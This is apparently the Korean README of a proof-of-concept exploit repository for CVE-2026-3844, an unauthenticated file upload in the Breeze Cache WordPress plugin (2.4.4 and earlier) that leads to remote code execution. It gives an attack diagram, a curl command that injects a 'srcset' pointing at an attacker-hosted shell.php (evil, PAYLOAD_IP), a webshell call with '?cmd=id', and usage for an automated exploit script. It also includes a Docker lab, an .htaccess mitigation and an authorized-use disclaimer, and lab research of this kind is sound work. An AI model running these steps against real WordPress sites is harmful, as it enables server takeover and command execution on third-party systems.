
# CVE-2026-3844 PoC 익스플로잇 CVE-2026-3844에 대한 개념 증명 익스플로잇으로, Breeze Cache <= 2.4.4에서 인증 없이 임의 파일 업로드를 통해 원격 코드 실행(RCE)을 유발하는 취약점입니다. Docker 랩과 자동화된 익스플로잇 스크립트를 포함합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — 위험한 유형의 파일 무제한 업로드 |
| 플러그인 | Breeze Cache by Cloudways |
| 영향 범위 | 2.4.4 이하 모든 버전 |
| 수정 버전 | 2.4.5 (changeset 3511463) |
| 설치 수 | 400,000개 이상의 활성 WordPress 설치 |
| 발견자 | Hung Nguyen (bashu) |
| 공개일 | 2026-04-23 |
inc/class-breeze-cache-cronjobs.php의 fetch_gravatar_from_remote() 함수는 원격 URL을
다운로드하여 URL의 원본 파일명과 확장자를 사용해 웹에서 접근 가능한 디렉터리에 저장합니다.
MIME 유형 검증, 확장자 화이트리스트, 콘텐츠 검사가 전혀 없습니다.
"Host Files Locally - Gravatars" 설정이 활성화되면 플러그인은 breeze_replace_gravatar_image()를 통해
WordPress의 get_avatar 필터에 연결됩니다. 이 함수는 정규식을 사용하여 아바타 HTML의 srcset 및
src 속성에서 URL을 추출합니다. 공격자는 조작된 작성자 이름으로 댓글을 게시하여 악성
srcset 속성을 주입할 수 있으며, 이로 인해 플러그인이 임의의 PHP 파일을 다운로드하고 캐시하게 됩니다.
누락된 검증:
.php, .phtml, .phar 모두 허용)공격자 WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | 댓글 저장됨
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | get_avatar 필터 실행
| | breeze_replace_gravatar_image()
| | 정규식으로 srcset URL 추출
| | fetch_gravatar_from_remote() 호출
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| PHP 파일 콘텐츠 |
| -----------------------------> |
| | 저장 위치:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP가 www-data로 실행됨
| uid=33(www-data) |
| <------------------------------------ |
이 PoC에는 자체 포함된 Docker 환경이 포함되어 있습니다:
requests (pip install requests)cd docker/
docker compose up -d --build
WordPress 초기화에 약 30초 정도 기다립니다. 확인:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# 예상 결과: Stable tag: 2.4.4
Docker 설정은 자동으로 다음을 수행합니다:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
PAYLOAD_IP를 페이로드 컨테이너의 IP로 교체하세요:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
예상 응답: 게시물 페이지로의 HTTP 302 리디렉션.
게시물 페이지를 방문하여 WordPress가 댓글의 아바타를 렌더링하게 하면,
Breeze get_avatar 필터가 실행되고 페이로드가 다운로드됩니다:
curl -s "http://localhost:8088/?p=1" > /dev/null
렌더링된 HTML은 Breeze가 주입된 srcset을 추출하고 페이로드를 캐시했음을 보여줍니다:
PHP 페이로드는 그대로 기록되며, www-data 소유입니다:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target WordPress 대상 URL (필수)
-p, --payload 업로드할 PHP 페이로드의 URL
--post-id 댓글을 달 특정 게시물 ID
--timeout HTTP 타임아웃(초) (기본값: 15)
--wait cron 대기 시간(초) (기본값: 12)
--check-only 플러그인 버전만 확인, 악용하지 않음
cd docker/
docker compose down -v --remove-orphans
wp-content/cache/breeze-extra/gravatars/의 .htaccess에 다음 추가:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # 이 파일
docker/
Dockerfile # WordPress + Breeze 2.4.4 이미지
docker-compose.yml # 전체 랩 (WP + MariaDB + 페이로드 서버)
entrypoint-custom.sh # 취약한 설정으로 WP 자동 구성
poc/
exploit.py # 자동화된 PoC 악용 스크립트
validate.sh # 종단 간 Docker 검증 하네스
payloads/
shell.php # 무해한 PoC 페이로드 (echo + id)
screenshots/ # SVG 터미널 스크린샷 (Charm freeze)
validation/ # RAPTOR 악용 가능성 검증 출력
이 개념 증명은 승인된 보안 테스트, 교육 및 방어적 연구 목적으로만 제공됩니다. 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.